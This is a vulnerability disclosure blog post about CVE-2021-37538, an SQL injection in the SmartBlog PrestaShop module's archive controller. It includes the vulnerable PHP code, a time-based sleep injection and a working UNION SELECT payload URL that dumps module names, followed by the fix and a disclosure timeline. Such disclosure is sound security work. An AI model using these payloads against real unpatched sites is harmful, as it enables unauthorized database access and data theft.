SQLi in SmartBlog CVE-2021-37538

This blog post details an SQLi I found in the SmartBlog Prestashop module by SmartDataSoft.

First we need to talk about how the Prestashop pSQL function works and what it does.
pSQL() is intended for string escaping, so for example if you have a query like:

```
$sql = "SELECT * FROM myTable WHERE name='$name'"
```

If $name has quotes in it then it can break out of the quotes. If $name is `james' and sleep(10)-- -`

then the query would be:

```
SELECT * FROM myTable WHERE name='james' and sleep(10)-- -'
```

If our example was sanitised by pSQL it would be something like:

```
SELECT * FROM myTable WHERE name='james\' and sleep(10)-- -'
```

All pSQL() does is escape quotes essentially.

In this module we discovered two SQLis, I will only discuss the archive SQLi in depth as the category SQLi is the same idea but requires a certain setting enabled.

In `controllers/front/archive.php` we can see that the `day`, `month` and `year` parameters are passed to the getArchiveResult() function without sanitisation.

```
public function initContent()
{
    parent::initContent();
    $blogcomment = new Blogcomment();
    $day = Tools::getvalue('day');
    $year = Tools::getvalue('year');
    $month = Tools::getvalue('month');
    $title_category = '';
    $posts_per_page = Configuration::get('smartpostperpage');
    $limit_start = 0;
    $limit = $posts_per_page;
    if ((boolean) Tools::getValue('page')) {
        $c = (int) Tools::getValue('page');
        $limit_start = $posts_per_page * ($c - 1);
    }
    $result = SmartBlogPost::getArchiveResult($month, $year, $day, $limit_start, $limit);
```

If we look at the getArchiveResult function in `classes/SmartBlogPost.php` we can see they are being used in an SQL query:

```
public static function getArchiveResult($month = null, $year = null, $day = null, $limit_start = 0, $limit = 5){
    $BlogCategory = '';
    $day = pSQL($day);
    $month = pSQL($month);
    $year = pSQL($year);
    $result = array();
    $id_lang = (int) Context::getContext()->language->id;
    if ($month != '' and $month != NULL and $year != '' and $year != NULL and $day != '' and $day != NULL) {
        $sql = 'SELECT * FROM ' . _DB_PREFIX_ . 'smart_blog_post s INNER JOIN ' . _DB_PREFIX_ . 'smart_blog_post_lang sl ON s.id_smart_blog_post = sl.i
    }
    // skipping a bunch of similar elseif cases
    if (!$posts = Db::getInstance()->executeS($sql))
        return false;
```

As we can see the day, month and year values are not surrounded by quotes in the query so the fact that pSQL sanitises these characters is no issue for us as we are already in the query.

In order to test this I installed the plugin locally and used `1 and sleep(10)-- -` as an input and modified the source to print out the query and this is what we see:

```
SELECT * FROM ps_smart_blog_post s INNER JOIN ps_smart_blog_post_lang sl ON
s.id_smart_blog_post = sl.id_smart_blog_post and sl.id_lang = 1 INNER JOIN
ps_smart_blog_post_shop ps ON ps.id_smart_blog_post = s.id_smart_blog_post
AND ps.id_shop = 1 where s.active = 1 and DAY(s.created) = 1 and sleep(10)-- - and MONTH(s.created) = 1 AND YEAR(s.created) = 1 ORDER BY s.id_smart_blo
DESC
```

The SQLi was also confirmed by the page loading time being delayed by 10 seconds.

For demonstration purposes here is a payload that will print out a list of the module names from the database:

```
https://site.com/module/smartblog/archive?month=1&year=1&day=1
UNION ALL SELECT
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
(SELECT group_concat(name) FROM
ps_module),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
```

When the page is loaded the list of module names will be in the title of the last post. (There is a character length limit for group_contact but you can get all the modules in two requests by flipping how the rows are ordered on the second request).

Fixing the issue

In most of the cases the values being sanitised were numbers therefore casting them to integers was more appropriate than using pSQL. In cases where pSQL was used the values were surrounded with quotes in the query.

As mentioned in the previous post however if you are developing a Prestashop module it is strongly reccomended to utilise PDO for your SQL queries as described in Prestashop's Best Practices for the DB Class.

I contacted SmartDataSoft and they were quick to fix the issue with this commit.

Timeline

Date	Action
22/06/2021	Issue discovered during a pentest
13/07/2021	Reported issue to SmartDataSoft
15/07/2021	SmartDataSoft patched the issue in version 4.06
26/07/2021	Number CVE-2021-37538 assigned
21/08/2021	Blog post released
24/08/2021	pajoda made a Nuclei template for this CVE

2021-08-21
#smartblog #prestashop #CVE-2021-37538

Proof of Concept for...

SQLi in ph_simpleblo...